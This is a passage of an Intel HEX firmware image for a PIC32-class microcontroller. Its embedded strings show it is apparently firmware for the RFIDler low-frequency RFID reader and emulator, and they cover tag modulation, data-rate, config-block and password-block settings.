:10decc0080bf023c206443ac0000000080bf023cd9
:10dedc001064428c00014230fcff40100000000036
:10deec0021e8c0030400be8f0800bd270800e00332
:10defc0000000000e0ffbd271c00bfaf1800beaf44
:10df0c0021f0a003211080002000c2a31000c0a3a8
:10df1c002000c2931100c2a31100c2936400422cd2
:10df2c0010004014000000001100c393eb51023ca0
:10df3c001f854234190062001010000042110200cb
:10df4c00ff00423030004224ff0042302014027c9b
:10df5c0021204000ad37410f0000000001000224d9
:10df6c001000c2a31100c393eb51023c1f85423435
:10df7c00190062001010000042110200ff00423034
:10df8c002118400021106000c01002008020020007
:10df9c00211044002310430080100200ff00433086
:10dfac001100c293211062001100c2a31100c29390
:10dfbc000a00422c05004010000000001000c39322
:10dfcc00010002240e006214000000001100c39333
:10dfdc00cccc023ccdcc42341900620010100000b5
:10dfec00c2100200ff00423030004224ff004230d9
:10dffc002014027c21204000ad37410f00000000ae
:10e00c001100c393cccc023ccdcc4234190062003d
:10e01c0010100000c2100200ff004230401002003d
:10e02c00801802002110430023100200ff0043302f
:10e03c001100c293211062001100c2a31100c293ff
:10e04c0030004224ff0042302014027c212040008a
:10e05c00ad37410f0000000021e8c0031c00bf8f4a
:10e06c001800be8f2000bd270800e0030000000050
:10e07c00f8ffbd270400beaf21f0a00380bf023c17
:10e08c001064428c02004230050040100000000079
:10e09c0080bf033c1064628c4408027c106462ac48
:10e0ac0021e8c0030400be8f0800bd270800e00370
:04e0bc000000000060
:020000040000fa
:020000041d04d9
:10e0c000c8ffbd273400bfaf3000beaf2c00b7afd4
:10e0d0002800b6af2400b5af2000b4af1c00b3af2a
:10e0e0001800b2af1400b1af1000b0af21b880007b
:10e0f00000008280059d1e3c1d39de272118c203c9
:10e100000000638021a8a000880063300800601030
:10e1100021a0800001009426000082822118c20301
:10e120000000638088006330fbff60540100942688
:10e130002d000324980043102b0042380100422c8c
:10e140002198000021a08202000086822110c603cf
:10e15000000042900400423021880000bc004010c2
:10e160002180000021900000d0ffd6242128000249
:10e1700021202002213000000340410f2440073cb1
:10e1800021804000218860000254410f2120c002fc
:10e190002120000221282002213040002138600087
:10e1a0002d35410f01009426218840002180600018
:10e1b000000086822110c603000042900400423015
:10e1c000e9ff401425905602010003242e0002248a
:10e1d0004800c250010082827200605400008282b6
:10e1e0002a00a0120000000021a0e00221b80000d7
:10e1f0000000b4ae2500e01221400000c317170054
:10e2000026b0570023b0c202059d153cd058b52654
:10e21000f03f093c8938410b090014240e0080129c
:10e22000f8ffb526ffff9426071096020100423042
:10e23000faff4010212000010000a68e0400a78ee6
:10e240000340410f21282001214040002148600067
:10e25000f4ff8016f8ffb5262120200221280002b5
:10e26000213000017500e006213820010340410ff4
:10e27000000000002120400021286000ac48410f30
:10e280002130e00221884000218060007b002012c4
:10e2900000f0027e251030027300401000000000e4
:10e2a000070060122110200221202002a057410ff8
:10e2b00021280002218840002180600021102002d6
:10e2c000211800023400bf8f3000be8f2c00b78fa2
:10e2d0002800b68f2400b58f2000b48f1c00b38fa8
:10e2e0001800b28f1400b18f1000b08f0800e00347
:10e2f0003800bd272120c203000084900400843030
:10e30000b5ff80100100942621b80000d0ff5624ec
:10e310002128000221202002213000000340410f6b
:10e320002440073c21804000218860000254410fb6
:10e330002120c0022120000221282002213040009b
:10e34000213860002d35410f0100942621884000be
:10e350002180600000008282259056022118c203ad
:10e360000000639004006330e8ff6014fffff726ad
:10e37000dfff032424184300201c037c45000224f3
:10e380000f006250010083829affa0560000b4aed5
:10e390007d38410b00000000010094265238410beb
:10e3a00001001324dfff032424184300201c037cf6
:10e3b00045000224f4ff621421b8000001008382aa
:10e3c0002d000224190062102b0002242300625049
:10e3d0000200838201009426213800002110c3032b
:10e3e00000004290040042300c0040102110000058
:10e3f00001009426d0ff6524000083824030020093
:10e40000c01002002120c303000084902110c2002c
:10e4100004008430f6ff8014211045002318020008
:10e420000b106700e238410b21b8e2020200838240
:10e4300001000724f738410b02009426a12f410f59
:10e4400000000000212040009f38410b212860007f
:10e45000211800007338410b219000002138000082
:10e46000f738410b020094268dff4012220003244e
:10e4700000a0023ca838410bb47243acf07f033ccf
:10e4800085ff4314251030021c39410b2200032460
:020000040000fa
:020000041d04d9
:10e49000d8ffbd272400bfaf2000beaf21f0a003ee
:10e4a0001400c0a300a0023cdc5642248700429026
:10e4b0000a00401400000000059d023ce85344247b
:10e4c000059d023cec5345242013410f0000000041
:10e4d000211000007c39410b00000000059d023c2a
:10e4e000e8534424059d023c045445242013410f65
:10e4f00000000000010002241000c2af7539410b7a
:10e50000000000004715410f00000000030040100c
:10e51000000000007c39410b000000001400c29391
:10e520000600401400000000059d023c08544424ed
:10e530001000c58f8513410f0000000000a0023cb1
:10e54000dc564224a0004290ffff42240300422cec
:10e5500026004010000000001800c2272120000003
:10e56000212800001000c68f21384000662b410f83
:10e570000000000000a0023cdc56422487004290cc
:10e5800000a0033cdc246424212840001e2d410f00
:10e59000000000000a0040100000000001000224fa
:10e5a0001400c2a3059d023c185444241000c58fda
:10e5b0008513410f000000007139410b000000007d
:10e5c0001400c0a3000000001000c28f010042240c
:10e5d0001000c2af1000c28f0001422cc9ff4014ce
:10e5e000000000007c39410b00000000000000002a
:10e5f00021e8c0032400bf8f2000be8f2800bd2764
:10e600000800e00300000000c8ffbd273400bfafd2
:10e610003000beaf21f0a00300a0023cdc56422433
:10e62000a00042900a00401400000000059d023c3a
:10e63000e8534424059d023c285445242013410fef
:10e640000000000021100000113a410b0000000002
:10e6500000a0023cdc564224bc0042900a00401458
:10e6600000000000059d023ce8534424059d023c47
:10e670003c5445242013410f0000000021100000ed
:10e68000113a410b00000000020002242800c2af32
:10e690000c3a410b0000000000a0023cdc56422472
:10e6a000a00042900100032430004310000000004d
:10e6b00004000324580043140000000000a0023ca2
:10e6c000dc5642249c00438c00a0023cdc564224d1
:10e6d000b000428c00a0043cdc568424bc00849032
:10e6e0002130800000a0043cdc5684248c00858c02
:10e6f00000a0043cdc5684248800848c00a0073ce5
:10e700009957e7241000a7af1400a6af1800a5afd3
:10e710001c00a4af212060002800c58f00a0033c8e
:10e72000da57662421384000c006410f000000007f
:10e730002118400000a0023cdc564224b000428c6c
:10e74000080062140000000000a0023cdc564224d5
:10e750002800c38fa40043ac2800c28f113a410b9c
:10e7600000000000093a410b0000000000a0023c3c
:10e77000dc5642249c00438c00a0023cdc56422420
:10e78000b000428c00a0043cdc568424bc00849081
:10e790002128800000a0043cdc5684248c00848c5a
:10e7a00000a0063c9957c6241000a6af1400a5afe0
:10e7b0001800a4af1c00a0af010004242000a4afe7
:10e7c000212060002800c58f00a0033cda57662492
:10e7d00021384000a9ff400f000000002118400030
:10e7e00000a0023cdc564224b000428c08006214b7
:10e7f0000000000000a0023cdc5642242800c38f29
:10e80000a40043ac2800c28f113a410b0000000065
:10e81000093a410b0000000021100000113a410ba1
:10e82000000000002800c28f010042242800c2af6f
:10e830002800c28f0001422c97ff40140000000006
:10e840002110000021e8c0033400bf8f3000be8fcc
:0ce850003800bd270800e00300000000b5
:020000040000fa
:020000041d04d9
:10e85c00524649446c657200257300000d0a0d0a7e
:10e86c0043757272656e7420636f6e6669673a0ddc
:10e87c000a0000000d0a202054414720547970658d
:10e88c003a2020202020202020202020202573002a
:10e89c000d0a20204672616d6520436c6f636b20fe
:10e8ac0075532f3130303a20202564000d0a20207a
:10e8bc004d6f64756c6174696f6e3a202020202056
:10e8cc0020202020202573000d0a20204d616e632e
:10e8dc006865737465723a20202020202020202047
:10e8ec00202573000d0a2020426950686173653a37
:10e8fc0020202020202020202020202020257300d4
:10e90c000d0a2020496e766572743a202020202052
:10e91c002020202020202020202573000d0a2020dc
:10e92c004461746120526174652052462f6e3a2006
:10e93c0020202020202564000d0a202044617461d1
:10e94c0020526174652053756220303a20202020bb
:10e95c00202564000d0a20204461746120526174ea
:10e96c00652053756220313a202020202025640038
:10e97c000d0a20204461746120426974733a20208e
:10e98c002020202020202020202564000d0a20207b
:10e99c004461746120426c6f636b733a20202020b9
:10e9ac0020202020202564000d0a2020426c6f635b
:10e9bc006b73697a653a20202020202020202020ab
:10e9cc00202564000d0a202053796e63204269745f
:10e9dc00733a202020202020202020202025640095
:10e9ec000d0a202053796e6320303a2020202020fd
:10e9fc002020202020202020203078253032780044
:10ea0c000d0a202053796e6320313a2020202020db
:10ea1c002020202020202020203078253032780023
:10ea2c000d0a202053796e6320323a2020202020ba
:10ea3c002020202020202020203078253032780003
:10ea4c000d0a202053796e6320333a202020202099
:10ea5c0020202020202020202030782530327800e3
:10ea6c000d0a2020506f74204c6f773a2020202004
:10ea7c002020202020202020202564000d0a20208a
:10ea8c00506f7420486967683a202020202020208d
:10ea9c0020202020202564000d0a202050534b20dc
:10eaac005175616c6974792075533a2020202020af
:10eabc00202564000d0a20205265706561743a208f
:10eacc002020202020202020202020202025640011
:10eadc000d0a202054696d656f75742075533a20aa
:10eaec002020202020202020202564000d0a20201a
:10eafc00525744204761702046432020202020207c
:10eb0c0020202020202564000d0a2020525744206c
:10eb1c00536c6565702046433a202020202020202d
:10eb2c00202564000d0a20205257442057616b6544
:10eb3c002046433a2020202020202020202564003d
:10eb4c000d0a2020525744205a65726f2046433ad2
:10eb5c002020202020202020202564000d0a2020a9
:10eb6c00525744204f6e652046433a2020202020e7
:10eb7c0020202020202564000d0a202052574420fc
:10eb8c00576169742052582d3e54582046433a2000
:10eb9c00202564000d0a20205257442057616974c7
:10ebac002054582d3e52582046433a2020256400cc
:10ebbc000d0a202057696567616e642050756c736f
:10ebcc00652075533a202020202564000d0a202052
:10ebdc0057696567616e64204761702075533a20f0
:10ebec0020202020202564000d0a2020576965670d
:10ebfc00616e642049646c6553746174653a2020bd
:08ec0c002025730d0a00000031
:020000040000fa
:020000041d04d9
:10ec1400f8ffbd270400beaf21f0a0030800c4af75
:10ec24000c00c5af1000c6af1400c7af00a0023c73
:10ec3400dc5642240800c38f9c0043ac00a0023c75
:10ec4400dc5642240c00c38fec0043ac00a0023c11
:10ec5400dc5642241000c38ff00043ac00a0023cf9
:10ec6400dc5642241400c38fe40043ac00a0023cf1
:10ec7400dc5642241800c38fe80043ac00a0023cd9
:10ec8400dc5642241c00c38fe00043ac00a0023ccd
:10ec9400dc5642242000c38ff40043ac00a0023ca5
:10eca400dc5642242400c38ff80043ac21e8c0039f
:10ecb4000400be8f0800bd270800e0030000000028
:10ecc400e0ffbd271c00bfaf1800beaf21f0a003ba
:10ecd4002000c4af2400c5af2800c6af2c00c7afc6
:10ece4003000c28f1000c2a33400c28fa48082af50
:10ecf4003800c28f40100200b48082af3c00c28f43
:10ed040040100200b88082af4000c28f4010020061
:10ed1400ac8082af4400c28f40100200b08082af4a
:10ed24004800c28f40100200a88082af4c00c28ffe
:10ed340040100200c48082afac80828f0700401074
:10ed440000000000b080828f04004010000000002a
:10ed5400a880828f040040140000000021100000ed
:10ed6400b63b410b000000002000c28f000043901e
:10ed74003000022406006210000000002000c28f50
:10ed840000004390310002240d00621400000000d2
:10ed940000a0023c5c5544242000c58f77ba400f84
:10eda40000000000040040140000000021100000d6
:10edb400b63b410b00000000773b410b0000000014
:10edc40000a0023c5c5544242000c58f2400c68f5b
:10edd400494a410f0000000000a0023c5c55432456
:10ede4002400c28f211062002a000324000043a0e3
:10edf40000a0023c5c554224188082af88bf023ccc
:10ee04002061428c020042302000401000000000cb
:10ee1400a08080a3a480828f42280200a480838fd4
:10ee2400a080829303000424213060002138400034
:10ee3400ce0b410f000000002800c28f13004014c5
:10ee44000000000000a0023cdc5642249c00438cdd
:10ee540000a0023cdc564224f000428c1800620000
:10ee6400122000001400c4afeb51023c1f85423451
:10ee74001400c38f19006200101000004211020038
:10ee840021204000400e410f000000002800c28fe6
:10ee9400050040100000000001000224a08082a3ad
:10eea400ad3b410b000000001000c293a08082a380
:10eeb4002c00c28f0600401000000000000000007b
:10eec400a080839308000224fdff62140000000068
:10eed4000100022421e8c0031c00bf8f1800be8f6c
:10eee4002000bd270800e00300000000d8ffbd2774
:10eef4002400bfaf2000beaf21f0a0032800c4afa0
:10ef040000a0023cdc564224870042900a000324fd
:10ef140009004310000000001000032419004310ee
:10ef24000000000008000324080043100000000053
:10ef3400e63b410b000000002800c48f78d0400f4e
:10ef440000000000e63b410b000000001a00022410
:10ef54001000a2af200002241400a2af2800c28f28
:10ef64001800a2af010004240a000524120006249c
:10ef740016000724e8b1400f00000000e63b410bf7
:10ef8400000000002800c48fc8e3400f0000000008
:10ef94000000000021e8c0032400bf8f2000be8fc2
:0cefa4002800bd270800e003000000006a
:020000040000fa
:020000041d04d9
:10efb000c8ffbd273400bfaf3000b7af2c00b6afdd
:10efc0002800b5af2400b4af2000b3af1c00b2af2f
:10efd0001800b1af1400b0af21a8800000008280fb
:10efe000059d133c1d3973262118620200006380c1
:10eff00021b0a000880063300800601021808000ec
:10f0000001001026000002822118620200006380c5
:10f0100088006330fbff6054010010262d0003249c
:10f02000810043102b0042380100422c21b800001f
:10f03000218002020000038221106302000042903e
:10f0400004004230a50040102188000021a00000eb
:10f05000d0ff722421202002d147410f2041053cde
:10f06000218840004355410f2120400221202002e9
:10f07000212840007744410f0100102621884000dc
:10f08000000003822110630200004290040042301d
:10f09000efff401425a09202010004242e00022458
:10f0a0003e00625001000282620080540000028231
:10f0b0002400c012401811002180a00221900000fd
:10f0c0000000d0ae1f00401240181100c3171200fc
:10f0d00026a8520023a8a202059d133c105f7326a8
:10f0e000060010243d3c410b803f023c0b00001207
:10f0f000fcff7326ffff102607181502010063307e
:10f10000faff6010000000000000658ed147410f3b
:10f1100021204000f7ff0016fcff7326212020026b
:10f120006a00400621284000d147410f000000003e
:10f1300021204000c94e410f212840022188400073
:10f140004018110000ff023c6c00625022000324b2
:10f1500068002012000000000500e01221102002cb
:10f16000cf57410f2120200221884000211020028a
:10f170003400bf8f3000b78f2c00b68f2800b58fba
:10f180002400b48f2000b38f1c00b28f1800b18f01
:10f190001400b08f0800e0033800bd272118620278
:10f1a0000000639004006330bfff60100100102670
:10f1b00021900000d0ff552421202002d147410f8b
:10f1c0002041053c218840004355410f2120a002e9
:10f1d00021202002212840007744410f0100102601
:10f1e000218840000000028225a0950221186202b9
:10f1f0000000639004006330eeff6014ffff5226ae
:10f20000dfff032424184300201c037c4500022454
:10f210000f00625001000382aaffc0560000d0ae6a
:10f22000313c410b00000000010010260d3c410b59
:10f2300001001724dfff032424184300201c037c53
:10f2400045000224f4ff62142190000001000382b3
:10f250002d000224190062102b00022422006250ab
:10f2600002000382010010262138000021106302f1
:10f2700000004290040042300c00401021100000b9
:10f2800001001026d0ff65240000038240300200f8
:10f29000c010020021206302000084902110c200ef
:10f2a00004008430f6ff801421104500231802006a
:10f2b0000b106700863c410b219042020200038242
:10f2c000010007249b3c410b02001026af45410f73
:10f2d000000000004d3c410b212040002120000097
:10f2e000273c410b21a00000213800009b3c410b32
:10f2f0000200102698ff80122200032400a0023c86
:08f30000563c410bb47243ac12
:020000040000fa
:020000041d04d9
:10f30800e8ffbd271400bfaf1000beaf21f0a00377
:10f318001800c4af1c00c5af1800c48f1c00c58fef
:10f32800263d410f000000000800401000000000ca
:10f338001800c48f1800c58f6000062463b9400ff9
:10f3480000000000d63c410b000000002110000026
:10f3580021e8c0031400bf8f1000be8f1800bd271e
:10f368000800e0030000000078ffbd278400bfaf5d
:10f378008000beaf21f0a0038800c4af8c00c5afe9
:10f388001000c227212040008c00c58fe7b8400f2d
:10f3980000000000040040140000000021100000dc
:10f3a800203d410b000000003c00c2271000c3278d
:10f3b800212060002128400034000624494a410fda
:10f3c800000000001000c227212040001000c227c2
:10f3d8002128400034000624abbb400f0000000089
:10f3e800211840001a0002240400621000000000e6
:10f3f80021100000203d410b000000007000c327d1
:10f408001100c2272120600021284000180006248e
:10f4180063b9400f00000000040040140000000021
:10f4280021100000203d410b000000007000c4279f
:10f438007800c3277c00c227059d053ca459a52454
:10f448002130600021384000b355410f0000000012
:10f458007800c38f7c00c28f8800c48f059d053c4f
:10f46800ac59a5242130600021384000ac54410f2c
:10f47800000000000100022421e8c0038400bf8fbf
:10f488008000be8f8800bd270800e0030000000050
:10f49800c0ffbd273c00bfaf3800beaf21f0a003be
:10f4a8004000c4af4400c5af4400c48fa34a410f15
:10f4b8000000000021184000080002240400621027
:10f4c8000000000021100000813d410b00000000f9
:10f4d8003400c2274400c48f059d033cb8596524f5
:10f4e80021304000b355410f000000003400c28fa6
:10f4f8001800c32721206000059d033cc0596524de
:10f5080021304000ac54410f000000001800c22711
:10f518001000c32721206000212840000200062493
:10f52800494a410f000000004400c28f03004324f1
:10f538003400c22721206000059d033cc85965247a
:10f5480021304000b355410f000000003400c28f45
:10f558001800c32721206000059d033cd05965246d
:10f5680021304000ac54410f000000001200c327b6
:10f578001800c22721206000212840000500062429
:10f58800494a410f000000001800c2270100422428
:10f59800212040001000c22721284000e7b8400f72
:10f5a800000000001800c3271800c22701004224e9
:10f5b8002120600021284000180006244af8400f46
:10f5c800000000004000c48f059d023cd859452426
:10f5d800e7b8400f000000004000c28f2c00432411
:10f5e8001800c22721206000212840001a000624a4
:10f5f8006dbb400f000000000100022421e8c00399
:10f608003c00bf8f3800be8f4000bd270800e003d4
:10f6180000000000e8ffbd271400bfaf1000beaf18
:10f6280021f0a0031800c4af1800c48f21280000df
:10f638008af9400f0000000021e8c0031400bf8fc2
:10f648001000be8f1800bd270800e003000000006e
:020000040000fa
:020000041d04d9
:10f658004e525a2f446972656374000050534b31ff
:10f668000000000050534b320000000050534b3351
:10f678000000000046534b310000000046534b3257
:10f688000000000046534b316100000046534b32e6
:10f69800610000004d616e636865737465720000f7
:10f6a8003131000031300000206761703a20256454
:10f6b80000000000206f6e653a20256400000000fd
:10f6c800207a65726f3a202564000000205549446d
:10f6d8003a2025730d0a0000257300000d0a00006a
:10f6e8002020436f6e66696720426c6f636b202829
:10f6f80030293a20252e38730d0a0d0a0000000023
:10f7080020202020202020204d6173746572204b1a
:10f7180065793a20256420203d20000025730d0ad4
:10f7280000000000436f6d7061746962696c6974f0
:10f7380079204d6f64650000457874656e64656472
:10f74800204d6f6465000000556e646566696e65de
:10f7580064204d6f646500005472756500000000f8
:10f7680046616c73650000002020202020202020a6
:10f7780020202020582d4d6f64653a2025730d0aee
:10f788000000000020202020202020202044617438
:10f798006120526174653a2025303264203d200092
:10f7a8002564202a2046430d0a000000202020203e
:10f7b800202020204d6f64756c6174696f6e3a204b
:10f7c80025303264203d200042695068617365200d
:10f7d8002827353029000000426950686173652088
:10f7e8002827353729000000496e76616c69640066
:10f7f800202020202020202020202020202053539b
:10f80800543a2025730d0a00526573657276656453
:10f818002f496e76616c696400000000202020206a
:10f8280020202020202020202020202053543a204f
:10f8380025730d0a000000002020202020202050e1
:10f84800534b20436172726965723a202564203dea
:10f858002000000052657365727665640000000040
:10f86800202020202020202020204d6178626c6fed
:10f87800636b3a2025640d0a000000002020202038
:10f888002020202020202020202020414f523a20d4
:10f8980025730d0a000000002020202020202020b1
:10f8a800202020202020204f54503a2025730d0a74
:10f8b80000000000202020202020202020202020c0
:10f8c8002020205057443a2025730d0a00000000dc
:10f8d8002020202020202020466173742057726940
:10f8e80074653a2025730d0a0000000020202020ae
:10f8f8002020496e766572736520446174613a20f0
:10f9080025730d0a00000000202020202020202040
:10f9180020504f522044656c61793a2025730d0ab6
:10f92800000000000d0a20202020205057442042cb
:10f938006c6f636b202837293a20252e38732020d6
:10f9480020200000303030383830453000000000ca
:10f95800303031303730363000000000393033462f
:10f968003030383200000000303030383130343038
:10f9780000000000303030383130453000000000e1
:10f988003030313438303430000000003030303816
:10f9980038304538000000004d616e636865737447
:10f9a8006572000050534b310000000050534b3239
:10f9b8000000000050534b330000000046534b3109
:10f9c8000000000046534b32000000004269706896
:10f9d800617365004e525a2f446972656374000062
:10f9e80031310000313000003030303030303030cc
:10f9f800000000003030303131000000303030304d
:10fa080030303030303030303030303000000000ae
:10fa18000d0a466f756e6420746167207769746893
:10fa28002067617020256400206f6e6520256400c2
:10fa3800207a65726f20256400000000257300009d
:10fa48000d0a00002020436f6e66696720426c6fc4
:10fa5800636b202830293a20252e38730d0a0d0aa9
:10fa680000000000547275650000000046616c7368
:10fa7800650000002020202020202050616765209c
:10fa880053656c6563743a2025730d0a0000000005
:10fa9800202020202020202046617374205772697e
:10faa80074653a2025730d0a0000000020202020ec
:10fab80020202020204461746120526174653a201e
:10fac80025303264203d20002564202a2046430d3d
:10fad8000a0000002020202020202020202020555f
:10fae800736520414f523a2025730d0a000000002b
:10faf8002020202020202020202020557365205001
:10fb080057443a2025730d0a0000000020202020c9
:10fb180020202050534b20436172726965723a204d
:10fb2800256420203d200000202020202020496e30
:10fb3800766572736520446174613a2025730d0af5
:10fb48000000000020202020202020204d6f647518
:10fb58006c6174696f6e3a20256420203d20000096
:10fb680025730d0a000000002020202020202020de
:10fb7800204d617820426c6f636b3a2025640d0a32
:10fb880000000000202020202020202020202020ed
:10fb98002020202053543a2025730d0a000000002d
:10fba8000d0a202020202050574420426c6f636ba0
:10fbb800202837293a20252e3873202020200000bd
:10fbc800453630314630303400000000453630319b
:10fbd800383035360000000045363030463045387c
:10fbe8000000000045363030463031340000000057
:10fbf8004536303046303145000000000d0a257387
:10fc08002c204745545f54524143455f4441544179
:10fc180000000000303000000d0a25732c205245ea
:10fc2800534554000d0a25732c203f494e56414c2c
:10fc380049443f000d0a25732c204d4f44554c4133
:10fc480054494f4e5f444546454154000d0a2573bb
:10fc58002c204449524543545f4143434553533a4a
:10fc68000000000025302e31733a000025302e3276
:10fc7800730000000d0a25732c20414f523a0000f2
:10fc880025302e38730000000d0a25732c2050579c
:10fc9800445f4449524543545f4143434553533ab3
:10fca8000000000025302e38733a000025302e3130
:10fcb800730000000d0a25732c2057524954455fe4
:10fcc80050303a000d0a25732c205057445f575284
:08fcd8004954455f50303a0029
:020000040000fa
:020000041d04d9
:10fce000e8ffbd271400bfaf1000beaf21f0a00396
:10fcf000e00c410f0000000088bf033c606062948c
:10fd00000421027c606062a488bf033c206162948d
:10fd100001000424444a827c206162a488bf033c21
:10fd2000a0616294444a027ca06162a421e8c003fd
:10fd30001400bf8f1000be8f1800bd270800e0031d
:10fd400000000000d8ffbd272400bfaf2000beafd9
:10fd500021f0a0032800c4af2110a0002c00c2a3f2
:10fd600088bf023cd060428c0003427cff004230de
:10fd70001000c2a31400c0af383f410f00000000c4
:10fd80002800c28f32004010000000002c00c393f6
:10fd90009a3b023c00ca4234180062001210000074
:10fda0001800c2af1800c28f0011020080180200b4
:10fdb000211043001800c2af1800c28f4210020089
:10fdc0001800c2af01000424170e410f000000000c
:10fdd000863f410b000000004715410f0000000066
:10fde0000300401000000000b93f410b000000007c
:10fdf00021200000170e410f0000000021184000d4
:10fe00001800c28f2b1043000300401000000000b8
:10fe1000b93f410b0000000088bf023cd060428c1b
:10fe20000003427cff004230211840001000c293c2
:10fe3000e9ff6210000000001000c2930100422c94
:10fe4000ff0042301000c2a3713f410b00000000d0
:10fe5000640002241400c2afac3f410b000000005c
:10fe6000a03f410b000000004715410f00000000bb
:10fe70000300401000000000b93f410b00000000eb
:10fe800088bf023cd060428c0003427cff004230bd
:10fe9000211840001000c293f3ff62100000000020
:10fea0001000c2930100422cff0042301000c2a398
:10feb0001400c28fffff43241400c3afe8ff4014b7
:10fec00000000000e8030424bf3f410f00000000d1
:10fed000059d033c2c5e6424212840008513410fbe
:10fee0000000000021e8c0032400bf8f2000be8f67
:10fef0002800bd270800e00300000000e0ffbd2748
:10ff00001c00bfaf1800beaf21f0a0032000c4af9b
:10ff10001400c0af01000424170e410f00000000c0
:10ff2000e53f410b00000000d33f410b0000000003
:10ff30004715410f000000000400401000000000c1
:10ff400021100000fd3f410b0000000088bf023c73
:10ff5000d060428c0003427cff00423021184000f8
:10ff60001000c28ff2ff62100000000001000424a4
:10ff7000170e410f000000001400c38f2110620013
:10ff80001400c2af1000c28f0100422cff004230ab
:10ff90001000c2af2000c28fffff43242000c3af78
:10ffa000e1ff4014000000001400c28f4010020066
:10ffb0001400c2af1400c38fcccc023ccdcc423471
:10ffc0001900620010100000821102001400c2af7c
:10ffd0009a3b023c00ca43341400c28f1b006200eb
:10ffe000f401400010100000121000001400c2af15
:10fff0001400c28f21e8c0031c00bf8f1800be8f01
:020000041d05d8
:0c0000002000bd270800e0030000000005
:020000040000fa
:020000041d05d8
:10000c004050050042550a00c04a0500427d0400dc
:10001c0025482f01c042040000800e3c25482e01cb
:10002c0040680700426d0d00c0620700427d06006b
:10003c0025608f01c05a060025608e012628a70076
:10004c002428ae00ffff4f25fe07e12d47002010ae
:10005c0000000000ffffaf25fe07e12d6f00201010
:10006c000000000002fcaf2521504f0119002c01ab
:10007c00123800001070000019000b011220000053
:10008c001030000019002b011258000010680000fd
:10009c002130cb002b78cb002138ed002138ef003c
:1000ac000200ed10000000002b78ed002170cf0154
:1000bc0019000c0112400000104800002130c8004b
:1000cc002b78c8002138e9002138ef000200e91034
:1000dc00000000002b78e9002170cf012578860004
:1000ec000200e011000000000100e73425480e007a
:1000fc0006002005254007002a7800012140080150
:10010c002148290121482f01ffff4a25ffff4f25d8
:10011c00fe07e12d680020100000000000040825f7
:10012c0000040f2d21482f012b782f0121504f0156
:10013c00c27a08000100ef3123400f01c2220800ef
:10014c00407d090025208f0040780900027b0f00bc
:10015c002528af00007d0a002528af0025100400db
:10016c00251805000800e003000000002a780001b3
:10017c0021400801214829011c00401521482f016c
:10018c00257828011400e01100000000080020155b
:10019c00000000000300001500000000adff00107f
:1001ac0000000a242548000100000824e0ff4a252d
:1001bc0020702e71a7ffc0110000000023504e01cb
:1001cc0022380e000638e8000440c8010448c90172
:1001dc00a0ff001025482701ff0701243300a111bf
:1001ec0000000000ddff0010000000002578280151
:1001fc002e00e015000000000500a0150000000016
:10020c0040780c002578eb012800e011000000007c
:10021c00ff0701242100a115000000002a786001cd
:10022c0021586b0121608c011900a01521608f01f0
:10023c0025788b011400e0110000000008008015e7
:10024c0000000000030060150000000085ff001096
:10025c0000000d242560600100000b24e0ffad259b
:10026c00203086717fffc010000000002368a601bb
:10027c00227006000670cb010458cb000460cc0041
:10028c0078ff001025608e01b4ff001000000424dc
:10029c0025788b010500e01500000000f07f013c83
:1002ac002528a100adff001000000424f8ff053c38
:1002bc00aaff001000000424f8ff401d00000000fd
:1002cc0001000e242370ca012000c12d0700201448
:1002dc0000000000e0ffce212b3008000d000910bb
:1002ec0025402601f8ff0010000009340900c01158
:1002fc000000000022380e000430e8000438e90049
:10030c000640c8010648c9010200c0102540e8009b
:10031c00020008350004082500040f2d21482f0188
:0c032c0083ff0010c25709000000000011
:020000040000fa
:020000041d05d8
:10033800e8ffbd271400bfaf1000beaf21f0a00337
:100348001800c4af1800c48f3bff400f0000000026
:1003580021e8c0031400bf8f1000be8f1800bd270e
:100368000800e00300000000c0ffbd273c00bfaf4d
:100378003800beaf21f0a0034000c4af4400c5afb1
:100388004000c48f4400c58f8fdb400f0000000081
:1003980007004010000000004000c48f4000c58fd7
:1003a8000f41410f00000000ef40410b000000002a
:1003b8002110000021e8c0033c00bf8f3800be8f29
:1003c8004000bd270800e00300000000e8ffbd274b
:1003d8001400bfaf1000beaf21f0a0031800c4afd7
:1003e8001c00c5af1800c48f1c00c58f3c41410fcd
:1003f8000000000008004010000000001800c48f32
:100408001800c58f4000062463b9400f00000000a3
:100418000941410b000000002110000021e8c00341
:100428001400bf8f1000be8f1800bd270800e0031e
:1004380000000000d8ffbd272400bfaf2000beafda
:1004480021f0a0032800c4af2c00c5af1400c227b8
:10045800212040002c00c58f02000624494a410f84
:10046800000000002c00c28f040042241400c3279f
:100478000200632421206000212840000600062491
:10048800494a410f000000001400c2272120400003
:10049800a9b7400f000000001000c2af1000c38fc2
:1004a8001400023c003e4234211062001000c2af2a
:1004b8002800c48f1000c58facb6400f00000000a4
:1004c8002800c28f08004224000040a00100022436
:1004d80021e8c0032400bf8f2000be8f2800bd275d
:1004e8000800e00300000000a0ffbd275c00bfafcc
:1004f8005800beaf5400b0af21f0a0036000c4aff5
:100508006400c5af6400c48fa34a410f0000000017
:100518000900422c040040140000000021100000d3
:100528009041410b000000001400c2272120400028
:1005380030000524080006246551410f0000000022
:100548006400c48fa34a410f000000000800032480
:10055800231062001400c327218062006400c48f46
:10056800a34a410f00000000212000026400c58f4b
:1005780021304000494a410f000000001400c22702
:1005880021204000a9b7400f000000001000c2afb2
:100598001000c38febff023c00c2423421106200fe
:1005a8001000c2af4400c2272120400030000524bb
:1005b8000a0006246551410f000000004400c227cc
:1005c80002004224212040001000c58facb6400f25
:1005d800000000004400c3274400c2270200422450
:1005e800212060002128400002000624494a410fca
:1005f80000000000300002244600c2a3300002249c
:100608004700c2a34e00c0a31c00c3274400c22752
:100618002120600021284000e7b8400f00000000ba
:100628001c00c2276000c48f21284000a7dc400faf
:10063800000000000100022421e8c0035c00bf8f15
:100648005800be8f5400b08f6000bd270800e0033b
:1006580000000000f8ffbd270400beaf21f0a00392
:10066800211080000c00c5af0800c2a30800c39386
:1006780080bf023c205c43ac0000000080bf023c0d
:10068800105c428c01004230fcff4010000000006a
:1006980080bf023c205c428cff0043300c00c28fbc
:1006a800000043a021e8c0030400be8f0800bd2756
:1006b8000800e00300000000f8ffbd270400beaffb
:1006c80021f0a0030800c4af0c00c5af80bf023cf6
:1006d8000800c38f205c43ac0000000080bf023cd0
:1006e800105c428c01004230fcff4010000000000a
:1006f80080bf023c205c438c0c00c28f000043acde
:1007080021e8c0030400be8f0800bd270800e003ed
:1007180000000000e0ffbd271c00bfaf1800beafff
:1007280021f0a003211880002110a0002800c6afe6
:100738002c00c7af2000c3a32400c2a304000424d4
:100748000010023c2001453410000624f34b410ff1
:10075800000000002000c293212040003400c58f13
